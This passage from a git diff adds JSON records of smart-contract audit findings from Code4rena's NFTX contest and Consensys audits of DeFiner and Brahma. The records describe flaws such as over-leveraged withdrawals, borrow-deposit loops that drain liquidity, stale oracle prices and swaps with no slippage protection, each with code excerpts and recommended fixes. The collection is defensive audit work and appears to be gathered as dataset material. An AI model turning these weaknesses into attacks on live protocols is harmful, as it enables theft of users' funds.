address(_receiver.receiver).call(payload); // If the allowance has not been spent, it means we can pass it forward to next. return success && IERC20Upgradeable(_vault).allowance(address(this), _receiver.receiver) == 0; } else { - IERC20Upgradeable(_vault).safeTransfer(_receiver.receiver, amountToSend); + return IERC20Upgradeable(_vault).safeTransfer(_receiver.receiver, amountToSend); } } ``` "}, {"title": "`assignDefaultFeatures` Does Nothing", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/65", "labels": ["bug", "1 (Low Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle leastwood # Vulnerability details ## Impact `assignDefaultFeatures` is intended to be called by the `dev` account, however, the function itself does not take in any arguments and instead sets the `enableRandomSwap` and `enableTargetSwap` state variables to itself. ## Proof of Concept https://github.com/code-423n4/2021-12-nftx/blob/main/nftx-protocol-v2/contracts/solidity/NFTXVaultUpgradeable.sol#L111-L117 ``` function assignDefaultFeatures() external { require(msg.sender == 0xDEA9196Dcdd2173D6E369c2AcC0faCc83fD9346a, \"Not dev\"); enableRandomSwap = enableRandomRedeem; enableTargetSwap = enableTargetRedeem; emit EnableRandomSwapUpdated(enableRandomSwap); emit EnableTargetSwapUpdated(enableTargetSwap); } ``` ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider removing this function altogether or adding the necessary arguments such that the `dev` account can actually set the proper state variables. "}, {"title": "`timelockMint` In `TimelockRewardDistributionTokenImpl` Does Not Ensure Mint Is Greater Than Zero", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/64", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "`timelockMint` In `TimelockRewardDistributionTokenImpl` Does Not Ensure Mint Is Greater Than Zero"}, {"title": "InventoryStaking `deposit()` and `withdraw()` don't validate passed vaultId", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/61", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "InventoryStaking `deposit()` and `withdraw()` don't validate passed vaultId"}, {"title": "`xToken` Approvals Allow Spenders To Spend More Tokens", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/58", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "`xToken` Approvals Allow Spenders To Spend More Tokens"}, {"title": "Dishonest Stakers Can Siphon Rewards From `xToken` Holders Through The `deposit` Function In `NFTXInventoryStaking`", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/57", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Dishonest Stakers Can Siphon Rewards From `xToken` Holders Through The `deposit` Function In `NFTXInventoryStaking`"}, {"title": "Users can create vaults with a malicious _assetAddress ", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/56", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Users can create vaults with a malicious _assetAddress "}, {"title": "`NFTXLPStaking.rewardDistTokenImpl` is never initialized", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/54", "labels": ["bug", "1 (Low Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "`NFTXLPStaking.rewardDistTokenImpl` is never initialized"}, {"title": "Unnecessary assignment of 0 to an uninitialized variable", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/53", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2021-12-nftx-findings", "body": "Unnecessary assignment of 0 to an uninitialized variable"}, {"title": "onlyOwnerIfPaused(0) argument should not be hard coded ", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/52", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "onlyOwnerIfPaused(0) argument should not be hard coded "}, {"title": "Marketplace allows functions made for ERC721 vaults to interact with ERC1155 vaults", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/51", "labels": ["bug", "1 (Low Risk)", "sponsor acknowledged"], "target": "2021-12-nftx-findings", "body": "Marketplace allows functions made for ERC721 vaults to interact with ERC1155 vaults"}, {"title": "No access control on assignFees() function in NFTXVaultFactoryUpgradeable contract", "html_url": "https://github.com/code-423n4/2021-12-nftx-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2021-12-nftx-findings", "body": "# Handle ych18 # Vulnerability details In If the Vault owner decides to set factoryMintFee and factoryRandomRedeemFee to zero, any user could call the function NFTXVaultFactoryUpgradeable.assignFees() and hence all the fees are updated. "}] \ No newline at end of file diff --git a/results/consensys_findings_1.json b/results/consensys_findings_1.json new file mode 100644 index 0000000..44af16d --- /dev/null +++ b/results/consensys_findings_1.json @@ -0,0 +1 @@ +[{"title": "4.1 Users can withdraw their funds immediately when they are over-leveraged ", "body": " Description Accounts.withdraw makes two checks before processing a withdrawal. First, the method checks that the amount requested for withdrawal is not larger than the user s balance for the asset in question: code/contracts/Accounts.sol:L197-L201 function withdraw(address _accountAddr, address _token, uint256 _amount) external onlyAuthorized returns(uint256) { // Check if withdraw amount is less than user's balance require(_amount <= getDepositBalanceCurrent(_token, _accountAddr), \"Insufficient balance.\"); uint256 borrowLTV = globalConfig.tokenInfoRegistry().getBorrowLTV(_token); Second, the method checks that the withdrawal will not over-leverage the user. The amount to be withdrawn is subtracted from the user s current borrow power at the current price. If the user s total value borrowed exceeds this new borrow power, the method fails, as the user no longer has sufficient collateral to support their borrow positions. However, this require is only checked if a user is not already over-leveraged: code/contracts/Accounts.sol:L203-L211 // This if condition is to deal with the withdraw of collateral token in liquidation. // As the amount if borrowed asset is already large than the borrow power, we don't // have to check the condition here. if(getBorrowETH(_accountAddr) <= getBorrowPower(_accountAddr)) require( getBorrowETH(_accountAddr) <= getBorrowPower(_accountAddr).sub( _amount.mul(globalConfig.tokenInfoRegistry().priceFromAddress(_token)) .mul(borrowLTV).div(Utils.getDivisor(address(globalConfig), _token)).div(100) ), \"Insufficient collateral when withdraw.\"); If the user has already borrowed more than their borrow power allows, they are allowed to withdraw regardless. This case may arise in several circumstances; the most common being price fluctuation. Recommendation Disallow withdrawals if the user is already over-leveraged. From the comment included in the code sample above, this condition is included to support the liquidate method, but its inclusion creates an attack vector that may allow users to withdraw when they should not be able to do so. Consider adding an additional method to support liquidate, so that users may not exit without repaying debts. ", "labels": ["Consensys", "Critical"], "html_url": "https://consensys.io/diligence/audits/2021/02/definer/"}, {"title": "4.2 Users can borrow funds, deposit them, then borrow more ", "body": " Resolution Comment from DeFiner team: This is expected behaviour and our contracts are designed like that. Other lending protocols like Compound and AAVE allows this feature as well. So this is not a CRITICAL issue, as the user s funds are not at risk. The funds of the users are only at risk when their position is over-leveraged, which is expected behaviour. Description Users may deposit and borrow funds denominated in any asset supported by the TokenRegistry. Each time a user deposits or borrows a token, they earn FIN according to the difference in deposit / borrow rate indices maintained by Bank. Borrowing funds When users borrow funds, they may only borrow up to a certain amount: the user s borrow power. As long as the user is not requesting to borrow an amount that would cause their resulting borrowed asset value to exceed their available borrow power, the borrow is successful and the user receives the assets immediately. A user s borrow power is calculated in the following function: code/contracts/Accounts.sol:L333-L353 /** Calculate an account's borrow power based on token's LTV / function getBorrowPower(address _borrower) public view returns (uint256 power) { for(uint8 i = 0; i < globalConfig.tokenInfoRegistry().getCoinLength(); i++) { if (isUserHasDeposits(_borrower, i)) { address token = globalConfig.tokenInfoRegistry().addressFromIndex(i); uint divisor = INT_UNIT; if(token != ETH_ADDR) { divisor = 10**uint256(globalConfig.tokenInfoRegistry().getTokenDecimals(token)); // globalConfig.bank().newRateIndexCheckpoint(token); power = power.add(getDepositBalanceCurrent(token, _borrower) .mul(globalConfig.tokenInfoRegistry().priceFromIndex(i)) .mul(globalConfig.tokenInfoRegistry().getBorrowLTV(token)).div(100) .div(divisor) ); return power; For each asset, borrow power is calculated from the user s deposit size, multiplied by the current chainlink price, multiplied and that asset s borrow LTV. Depositing borrowed funds After a user borrows tokens, they can then deposit those tokens, increasing their deposit balance for that asset. As a result, their borrow power increases, which allows the user to borrow again. By continuing to borrow, deposit, and borrow again, the user can repeatedly borrow assets. Essentially, this creates positions for the user where the collateral for their massive borrow position is entirely made up of borrowed assets. Conclusion There are several potential side-effects of this behavior. First, as described in issue 4.6, the system is comprised of many different tokens, each of which is subject to price fluctuation. By borrowing and depositing repeatedly, a user may establish positions across all supported tokens. At this point, if price fluctuations cause the user s account to cross the liquidation threshold, their positions can be liquidated. Liquidation is a complicated function of the protocol, but in essence, the liquidator purchases a target s collateral at a discount, and the resulting sale balances the account somewhat. However, when a user repeatedly deposits borrowed tokens, their collateral is made up of borrowed tokens: the system s liquidity! As a result, this may allow an attacker to intentionally create a massively over-leveraged account on purpose, liquidate it, and exit with a chunk of the system liquidity. Another potential problem with this behavior is FIN token mining. When users borrow and deposit, they earn FIN according to the size of the deposit / borrow, and the difference in deposit / borrow rate indices since the last deposit / borrow. By repeatedly depositing / borrowing, users are able to artificially deposit and borrow far more often than normal, which may allow them to generate FIN tokens at will. This additional strategy may make attacks like the one described above much more economically feasible. Recommendation Due to the limited time available during this engagement, these possibilities and potential mitigations were not fully explored. Definer is encouraged to investigate this behavior more carefully. ", "labels": ["Consensys", "Major", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2021/02/definer/"}, {"title": "4.3 Stale Oracle prices might affect the rates ", "body": " Description It s possible that due to network congestion or other reasons, the price that the ChainLink oracle returns is old and not up to date. This is more extreme in lesser known tokens that have fewer ChainLink Price feeds to update the price frequently. The codebase as is, relies on chainLink().getLatestAnswer() and does not check the timestamp of the price. Examples /contracts/registry/TokenRegistry.sol#L291-L296 function priceFromAddress(address tokenAddress) public view returns(uint256) { if(Utils._isETH(address(globalConfig), tokenAddress)) { return 1e18; return uint256(globalConfig.chainLink().getLatestAnswer(tokenAddress)); Recommendation Do a sanity check on the price returned from the oracle. If the price is older than a threshold, revert or handle in other means. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2021/02/definer/"}, {"title": "4.4 Overcomplicated unit conversions ", "body": " Description There are many instances of unit conversion in the system that are implemented in a confusing way. This could result in mistakes in the conversion and possibly failure in correct accounting. It s been seen in the ecosystem that these type of complicated unit conversions could result in calculation mistake and loss of funds. Examples Here are a few examples: /contracts/Bank.sol#L216-L224 function getBorrowRatePerBlock(address _token) public view returns(uint) { if(!globalConfig.tokenInfoRegistry().isSupportedOnCompound(_token)) // If the token is NOT supported by the third party, borrowing rate = 3% + U * 15%. return getCapitalUtilizationRatio(_token).mul(globalConfig.rateCurveSlope()).div(INT_UNIT).add(globalConfig.rateCurveConstant()).div(BLOCKS_PER_YEAR); // if the token is suppored in third party, borrowing rate = Compound Supply Rate * 0.4 + Compound Borrow Rate * 0.6 return (compoundPool[_token].depositRatePerBlock).mul(globalConfig.compoundSupplyRateWeights()). add((compoundPool[_token].borrowRatePerBlock).mul(globalConfig.compoundBorrowRateWeights())).div(10); /contracts/Bank.sol#L350-L351 compoundPool[_token].depositRatePerBlock = cTokenExchangeRate.mul(UNIT).div(lastCTokenExchangeRate[cToken]) .sub(UNIT).div(blockNumber.sub(lastCheckpoint[_token])); /contracts/Bank.sol#L384-L385 return lastDepositeRateIndex.mul(getBlockNumber().sub(lcp).mul(depositRatePerBlock).add(INT_UNIT)).div(INT_UNIT); Recommendation Simplify the unit conversions in the system. This can be done either by using a function wrapper for units to convert all values to the same unit before including them in any calculation or by better documenting every line of unit conversion ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/02/definer/"}, {"title": "4.5 Commented out code in the codebase ", "body": " Description There are many instances of code lines (and functions) that are commented out in the code base. Having commented out code increases the cognitive load on an already complex system. Also, it hides the important parts of the system that should get the proper attention, but that attention gets to be diluted. The main problem is that commented code adds confusion with no real benefit. Code should be code, and comments should be comments. Examples Here s a few examples of such lines of code, note that there are more. /contracts/SavingAccount.sol#L211-L218 struct LiquidationVars { // address token; // uint256 tokenPrice; // uint256 coinValue; uint256 borrowerCollateralValue; // uint256 tokenAmount; // uint256 tokenDivisor; uint256 msgTotalBorrow; contracts/Accounts.sol#L341-L345 if(token != ETH_ADDR) { divisor = 10**uint256(globalConfig.tokenInfoRegistry().getTokenDecimals(token)); // globalConfig.bank().newRateIndexCheckpoint(token); power = power.add(getDepositBalanceCurrent(token, _borrower) Many usage of console.log() and also the commented import on most of the contracts // import \"@nomiclabs/buidler/console.sol\"; ... //console.log(\"tokenNum\", tokenNum); /contracts/Accounts.sol#L426-L429 // require( // totalBorrow.mul(100) <= totalCollateral.mul(liquidationDiscountRatio), // \"Collateral is not sufficient to be liquidated.\" // ); /contracts/registry/TokenRegistry.sol#L298-L306 // function _isETH(address _token) public view returns (bool) { // return globalConfig.constants().ETH_ADDR() == _token; // } // function getDivisor(address _token) public view returns (uint256) { // if(_isETH(_token)) return INT_UNIT; // return 10 ** uint256(getTokenDecimals(_token)); // } /contracts/registry/TokenRegistry.sol#L118-L121 // require(_borrowLTV != 0, \"Borrow LTV is zero\"); require(_borrowLTV < SCALE, \"Borrow LTV must be less than Scale\"); // require(liquidationThreshold > _borrowLTV, \"Liquidation threshold must be greater than Borrow LTV\"); Recommendation In many of the above examples, it s not clear if the commented code is for testing or obsolete code (e.g. in the last example, can _borrowLTV ==0?) . All these instances should be reviewed and the system should be fully tested for all edge cases after the code changes. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/02/definer/"}, {"title": "4.6 Price volatility may compromise system integrity ", "body": " Resolution Comment from DeFiner team: The issue says that due to price volatility there could be an attack on DeFiner. However, price volatility is inherent in the Cryptocurrency ecosystem. All the other lending platforms like MakerDAO, Compound and AAVE also designed like that, in case of price volatility(downside) more liquidation happens on these platforms as well. Liquidations are in a sense good to keep the market stable. If there is no liquidation during those market crash, the system will be at risk. Due to this, it is always recommended to maintain the collateral and borrow ratio by the user. A user should keep checking his risk in the time when the market crashes. Description SavingAccount.borrow allows users to borrow funds from the bank. The funds borrowed may be denominated in any asset supported by the system-wide TokenRegistry. Borrowed funds come from the system s existing liquidity: other users deposits. Borrowing funds is an instant process. Assuming the user has sufficient collateral to service the borrow request (as well as any existing loans), funds are sent to the user immediately: code/contracts/SavingAccount.sol:L130-L140 function borrow(address _token, uint256 _amount) external onlySupportedToken(_token) onlyEnabledToken(_token) whenNotPaused nonReentrant { require(_amount != 0, \"Borrow zero amount of token is not allowed.\"); globalConfig.bank().borrow(msg.sender, _token, _amount); // Transfer the token on Ethereum SavingLib.send(globalConfig, _amount, _token); emit Borrow(_token, msg.sender, _amount); Users may borrow up to their borrow power , which is the sum of their deposit balance for each token, multiplied by each token s borrowLTV, multiplied by the token price (queried from a chainlink oracle): code/contracts/Accounts.sol:L344-L349 // globalConfig.bank().newRateIndexCheckpoint(token); power = power.add(getDepositBalanceCurrent(token, _borrower) .mul(globalConfig.tokenInfoRegistry().priceFromIndex(i)) .mul(globalConfig.tokenInfoRegistry().getBorrowLTV(token)).div(100) .div(divisor) ); If users borrow funds, their position may be liquidated via SavingAccount.liquidate. An account is considered liquidatable if the total value of borrowed funds exceeds the total value of collateral (multiplied by some liquidation threshold ratio). These values are calculated similarly to borrow power: the sum of the deposit balance for each token, multiplied by each token s borrowLTV, multiplied by the token price as determined by chainlink. Conclusion The instant-borrow approach, paired with the chainlink oracle represents a single point of failure for the Definer system. When the price of any single supported asset is sufficiently volatile, the entire liquidity held by the system is at risk as borrow power and collateral value become similarly volatile. Some users may find their borrow power skyrocket and use this inflated value to drain large amounts of system liquidity they have no intention of repaying. Others may find their held collateral tank in value and be subject to sudden liquidations. ", "labels": ["Consensys", "Medium", "Won't Fix"], "html_url": "https://consensys.io/diligence/audits/2021/02/definer/"}, {"title": "4.7 Emergency withdrawal code present ", "body": " Description Code and functionality for emergency stop and withdrawal is present in this code base. Examples /contracts/lib/SavingLib.sol#L43-L48 // ============================================ // EMERGENCY WITHDRAWAL FUNCTIONS // Needs to be removed when final version deployed // ============================================ function emergencyWithdraw(GlobalConfig globalConfig, address _token) public { address cToken = globalConfig.tokenInfoRegistry().getCToken(_token); ... /contracts/SavingAccount.sol#L307-L309 function emergencyWithdraw(address _token) external onlyEmergencyAddress { SavingLib.emergencyWithdraw(globalConfig, _token); /contracts/config/Constant.sol#L7-L8 ... address payable public constant EMERGENCY_ADDR = 0xc04158f7dB6F9c9fFbD5593236a1a3D69F92167c; ... Recommendation To remove the emergency code and fully test all the affected contracts. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/02/definer/"}, {"title": "4.8 Accounts contains expensive looping ", "body": " Description Accounts.getBorrowETH performs multiple external calls to GlobalConfig and TokenRegistry within a for loop: code/contracts/Accounts.sol:L381-L397 function getBorrowETH( address _accountAddr ) public view returns (uint256 borrowETH) { uint tokenNum = globalConfig.tokenInfoRegistry().getCoinLength(); //console.log(\"tokenNum\", tokenNum); for(uint i = 0; i < tokenNum; i++) { if(isUserHasBorrows(_accountAddr, uint8(i))) { address tokenAddress = globalConfig.tokenInfoRegistry().addressFromIndex(i); uint divisor = INT_UNIT; if(tokenAddress != ETH_ADDR) { divisor = 10 ** uint256(globalConfig.tokenInfoRegistry().getTokenDecimals(tokenAddress)); borrowETH = borrowETH.add(getBorrowBalanceCurrent(tokenAddress, _accountAddr).mul(globalConfig.tokenInfoRegistry().priceFromIndex(i)).div(divisor)); return borrowETH; The loop also makes additional external calls and delegatecalls from: TokenRegistry.priceFromIndex: code/contracts/registry/TokenRegistry.sol:L281-L289 function priceFromIndex(uint index) public view returns(uint256) { require(index < tokens.length, \"coinIndex must be smaller than the coins length.\"); address tokenAddress = tokens[index]; // Temp fix if(Utils._isETH(address(globalConfig), tokenAddress)) { return 1e18; return uint256(globalConfig.chainLink().getLatestAnswer(tokenAddress)); Accounts.getBorrowBalanceCurrent: code/contracts/Accounts.sol:L313-L331 function getBorrowBalanceCurrent( address _token, address _accountAddr ) public view returns (uint256 borrowBalance) { AccountTokenLib.TokenInfo storage tokenInfo = accounts[_accountAddr].tokenInfos[_token]; uint accruedRate; if(tokenInfo.getBorrowPrincipal() == 0) { return 0; } else { if(globalConfig.bank().borrowRateIndex(_token, tokenInfo.getLastBorrowBlock()) == 0) { accruedRate = INT_UNIT; } else { accruedRate = globalConfig.bank().borrowRateIndexNow(_token) .mul(INT_UNIT) .div(globalConfig.bank().borrowRateIndex(_token, tokenInfo.getLastBorrowBlock())); return tokenInfo.getBorrowBalance(accruedRate); In a worst case scenario, each iteration may perform a maximum of 25+ calls/delegatecalls. Assuming a maximum tokenNum of 128 (TokenRegistry.MAX_TOKENS), the gas cost for this method may reach upwards of 2 million for external calls alone. Given that this figure would only be a portion of the total transaction gas cost, getBorrowETH may represent a DoS risk within the Accounts contract. Recommendation Avoid for loops unless absolutely necessary Where possible, consolidate multiple subsequent calls to the same contract to a single call, and store the results of calls in local variables for re-use. For example, Instead of this: uint tokenNum = globalConfig.tokenInfoRegistry().getCoinLength(); for(uint i = 0; i < tokenNum; i++) { if(isUserHasBorrows(_accountAddr, uint8(i))) { address tokenAddress = globalConfig.tokenInfoRegistry().addressFromIndex(i); uint divisor = INT_UNIT; if(tokenAddress != ETH_ADDR) { divisor = 10 ** uint256(globalConfig.tokenInfoRegistry().getTokenDecimals(tokenAddress)); borrowETH = borrowETH.add(getBorrowBalanceCurrent(tokenAddress, _accountAddr).mul(globalConfig.tokenInfoRegistry().priceFromIndex(i)).div(divisor)); Modify TokenRegistry to support a single call, and cache intermediate results like this: TokenRegistry registry = globalConfig.tokenInfoRegistry(); uint tokenNum = registry.getCoinLength(); for(uint i = 0; i < tokenNum; i++) { if(isUserHasBorrows(_accountAddr, uint8(i))) { // here, getPriceFromIndex(i) performs all of the steps as the code above, but with only 1 ext call borrowETH = borrowETH.add(getBorrowBalanceCurrent(tokenAddress, _accountAddr).mul(registry.getPriceFromIndex(i)).div(divisor)); ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2021/02/definer/"}, {"title": "4.9 Naming inconsistency ", "body": " Description There are some inconsistencies in the naming of some functions with what they do. Examples /contracts/registry/TokenRegistry.sol#L272-L274 function getCoinLength() public view returns (uint256 length) { //@audit-info coin vs token return tokens.length; Recommendation Review the code for the naming inconsistencies. ", "labels": ["Consensys", "Minor"], "html_url": "https://consensys.io/diligence/audits/2021/02/definer/"}, {"title": "5.1 The virtual price may not correspond to the actual price in the pool ", "body": " Description A Curve pool has a function that returns a virtual price of the LP token; this price is resistant to flash-loan attacks and any manipulations in the Curve pool. While this price formula works well in some cases, there may be a significant period when a trade cannot be executed with this price. So the deposit or withdrawal will also be done under another price and will have a different result than the one estimated under the virtual price . When depositing into Curve, Brahma is doing it in 2 steps. First, when depositing the user s ETH to the Vault, the user s share is calculated according to the virtual price . And then, in a different transaction, the funds are deposited into the Curve pool. These funds only consist of ETH, and if the deposit price does not correspond (with 0.3% slippage) to the virtual price, it will revert. So we have multiple problems here: If the chosen slippage parameter is very low, the funds will not be deposited/withdrawn for a long time due to reverts. If the slippage is large enough, the attacker can manipulate the price to steal the slippage. Additionally, because of the 2-steps deposit, the amount of Vault s share minted to the users may not correspond to the LP tokens minted during the second step. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.2 ConvexPositionHandler._claimRewards incorrectly calculates amount of LP tokens to unstake ", "body": " Description ConvexPositionHandler._claimRewards is an internal function that harvests Convex reward tokens and takes the generated yield in ETH out of the Curve pool by calculating the difference in LP token price. To do so, it receives the current share price of the curve LP tokens and compares it to the last one stored in the contract during the last rewards claim. The difference in share price is then multiplied by the LP token balance to get the ETH yield via the yieldEarned variable: code/contracts/ConvexExecutor/ConvexPositionHandler.sol:L293-L300 uint256 currentSharePrice = ethStEthPool.get_virtual_price(); if (currentSharePrice > prevSharePrice) { // claim any gain on lp token yields uint256 contractLpTokenBalance = lpToken.balanceOf(address(this)); uint256 totalLpBalance = contractLpTokenBalance + baseRewardPool.balanceOf(address(this)); uint256 yieldEarned = (currentSharePrice - prevSharePrice) * totalLpBalance; However, to receive this ETH yield, LP tokens need to be unstaked from the Convex pool and then converted via the Curve pool. To do this, the contract introduces lpTokenEarned: code/contracts/ConvexExecutor/ConvexPositionHandler.sol:L302 uint256 lpTokenEarned = yieldEarned / NORMALIZATION_FACTOR; // 18 decimal from virtual price This calculation is incorrect. It uses yieldEarned which is denominated in ETH and simply divides it by the normalization factor to get the correct number of decimals, which still returns back an amount denominated in ETH, whereas an amount denominated in LP tokens should be returned instead. This could lead to significant accounting issues including losses in the no-loss parts of the vault s strategy as 1 LP token is almost always guaranteed to be worth more than 1 ETH. So, when the intention is to withdraw X ETH worth of an LP token, withdrawing X LP tokens will actually withdraw Y ETH worth of an LP token, where Y>X. As a result, less than expected ETH will remain in the Convex handler part of the vault, and the ETH yield will go to the Lyra options, which are much riskier. In the event Lyra options don t work out and there is more ETH withdrawn than expected, there is a possibility that this would result in a loss for the vault. Recommendation The fix is straightforward and that is to calculate lpTokenEarned using the currentSharePrice already received from the Curve pool. That way, it is the amount of LP tokens that will be sent to be unwrapped and unstaked from the Convex and Curve pools. This will also take care of the normalization factor. uint256 lpTokenEarned = yieldEarned / currentSharePrice; ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.3 The WETH tokens are not taken into account in the ConvexTradeExecutor.totalFunds function ", "body": " Description The totalFunds function of every executor should include all the funds that belong to the contract: code/contracts/ConvexTradeExecutor.sol:L21-L23 function totalFunds() public view override returns (uint256, uint256) { return ConvexPositionHandler.positionInWantToken(); The ConvexTradeExecutor uses this function for calculations: code/contracts/ConvexExecutor/ConvexPositionHandler.sol:L121-L137 function positionInWantToken() public view override returns (uint256, uint256) uint256 stakedLpBalanceInETH, uint256 lpBalanceInETH, uint256 ethBalance ) = _getTotalBalancesInETH(true); return ( stakedLpBalanceInETH + lpBalanceInETH + ethBalance, block.number ); code/contracts/ConvexExecutor/ConvexPositionHandler.sol:L337-L365 function _getTotalBalancesInETH(bool useVirtualPrice) internal view returns ( uint256 stakedLpBalance, uint256 lpTokenBalance, uint256 ethBalance uint256 stakedLpBalanceRaw = baseRewardPool.balanceOf(address(this)); uint256 lpTokenBalanceRaw = lpToken.balanceOf(address(this)); uint256 totalLpBalance = stakedLpBalanceRaw + lpTokenBalanceRaw; // Here, in order to prevent price manipulation attacks via curve pools, // When getting total position value -> its calculated based on virtual price // During withdrawal -> calc_withdraw_one_coin() is used to get an actual estimate of ETH received if we were to remove liquidity // The following checks account for this uint256 totalLpBalanceInETH = useVirtualPrice ? _lpTokenValueInETHFromVirtualPrice(totalLpBalance) : _lpTokenValueInETH(totalLpBalance); lpTokenBalance = useVirtualPrice ? _lpTokenValueInETHFromVirtualPrice(lpTokenBalanceRaw) : _lpTokenValueInETH(lpTokenBalanceRaw); stakedLpBalance = totalLpBalanceInETH - lpTokenBalance; ethBalance = address(this).balance; This function includes ETH balance, LP balance, and staked balance. But WETH balance is not included here. WETH tokens are initially transferred to the contract, and before the withdrawal, the contract also stores WETH. Recommendation Include WETH balance into the totalFunds. ", "labels": ["Consensys", "Major"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.4 LyraPositionHandlerL2 inaccurate modifier onlyAuthorized may lead to funds loss if keeper is compromised ", "body": " Description The LyraPositionHandlerL2 contract is operated either by the L2 keeper or by the L1 LyraPositionHandler via the L2CrossDomainMessenger. This is implemented through the onlyAuthorized modifier: code/contracts/LyraL2/LyraPositionHandlerL2.sol:L187-L195 modifier onlyAuthorized() { require( ((msg.sender == L2CrossDomainMessenger && OptimismL2Wrapper.messageSender() == positionHandlerL1) || msg.sender == keeper), \"ONLY_AUTHORIZED\" ); _; This is set on: withdraw() openPosition() closePosition() setSlippage() deposit() sweep() setSocketRegistry() setKeeper() Functions 1-3 have a corresponding implementation on the L1 LyraPositionHandler, so they could indeed be called by it with the right parameters. However, 4-8 do not have an implemented way to call them from L1, and this modifier creates an unnecessarily expanded list of authorised entities that can call them. Additionally, even if their implementation is provided, it needs to be done carefully because msg.sender in their case is going to end up being the L2CrossDomainMessenger. For example, the sweep() function sends any specified token to msg.sender, with the intention likely being that the recipient is under the team s or the governance s control yet, it will be L2CrossDomainMessenger and the tokens will likely be lost forever instead. On the other hand, the setKeeper() function would need a way to be called by something other than the keeper because it is intended to change the keeper itself. In the event that the access to the L2 keeper is compromised, and the L1 LyraPositionHandler has no way to call setKeeper() on the LyraPositionHandlerL2, the whole contract and its funds will be compromised as well. So, there needs to be some way to at least call the setKeeper() by something other than the keeper to ensure security of the funds on L2. Examples code/contracts/LyraL2/LyraPositionHandlerL2.sol:L153-L184 function closePosition(bool toSettle) public override onlyAuthorized { LyraController._closePosition(toSettle); UniswapV3Controller._estimateAndSwap( false, LyraController.sUSD.balanceOf(address(this)) ); /*/////////////////////////////////////////////////////////////// MAINTAINANCE FUNCTIONS //////////////////////////////////////////////////////////////*/ /// @notice Sweep tokens /// @param _token Address of the token to sweepr function sweep(address _token) public override onlyAuthorized { IERC20(_token).transfer( msg.sender, IERC20(_token).balanceOf(address(this)) ); /// @notice socket registry setter /// @param _socketRegistry new address of socket registry function setSocketRegistry(address _socketRegistry) public onlyAuthorized { socketRegistry = _socketRegistry; /// @notice keeper setter /// @param _keeper new keeper address function setKeeper(address _keeper) public onlyAuthorized { keeper = _keeper; Recommendation ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.5 Harvester.harvest swaps have no slippage parameters ", "body": " Description As part of the vault strategy, all reward tokens for staking in the Convex ETH-stETH pool are claimed and swapped into ETH. The swaps for these tokens are done with no slippage at the moment, i.e. the expected output amount for all of them is given as 0. In particular, one reward token that is most susceptible to slippage is LDO, and its swap is implemented through the Uniswap router: code/contracts/ConvexExecutor/Harvester.sol:L142-L155 function _swapLidoForWETH(uint256 amountToSwap) internal { IUniswapSwapRouter.ExactInputSingleParams memory params = IUniswapSwapRouter.ExactInputSingleParams({ tokenIn: address(ldo), tokenOut: address(weth), fee: UNISWAP_FEE, recipient: address(this), deadline: block.timestamp, amountIn: amountToSwap, amountOutMinimum: 0, sqrtPriceLimitX96: 0 }); uniswapRouter.exactInputSingle(params); The swap is called with amountOutMinimum: 0, meaning that there is no slippage protection in this swap. This could result in a significant loss of yield from this reward as MEV bots could sandwich this swap by manipulating the price before this transaction and immediately reversing their action after the transaction, profiting at the expense of our swap. Moreover, the Uniswap pools seem to have low liquidity for the LDO token as opposed to Balancer or Sushiswap, further magnifying slippage issues and susceptibility to frontrunning. The other two tokens - CVX and CRV - are being swapped through their Curve pools, which have higher liquidity and are less susceptible to slippage. Nonetheless, MEV strategies have been getting more advanced and calling these swaps with 0 as expected output may place these transactions in danger of being frontrun and sandwiched as well. code/contracts/ConvexExecutor/Harvester.sol:L120-L126 if (cvxBalance > 0) { cvxeth.exchange(1, 0, cvxBalance, 0, false); // swap CRV to WETH if (crvBalance > 0) { crveth.exchange(1, 0, crvBalance, 0, false); In these calls .exchange , the last 0 is the min_dy argument in the Curve pools swap functions that represents the minimum expected amount of tokens received after the swap, which is 0 in our case. Recommendation Introduce some slippage parameters into the swaps. ", "labels": ["Consensys", "Medium"], "html_url": "https://consensys.io/diligence/audits/2022/05/brahma-fi/"}, {"title": "5.6 Harvester.rewardTokens doesn t account for LDO tokens ", "body": " Description As part of the vault s strategy, the reward tokens for participating in Curve s ETH-stETH pool and Convex staking are claimed and 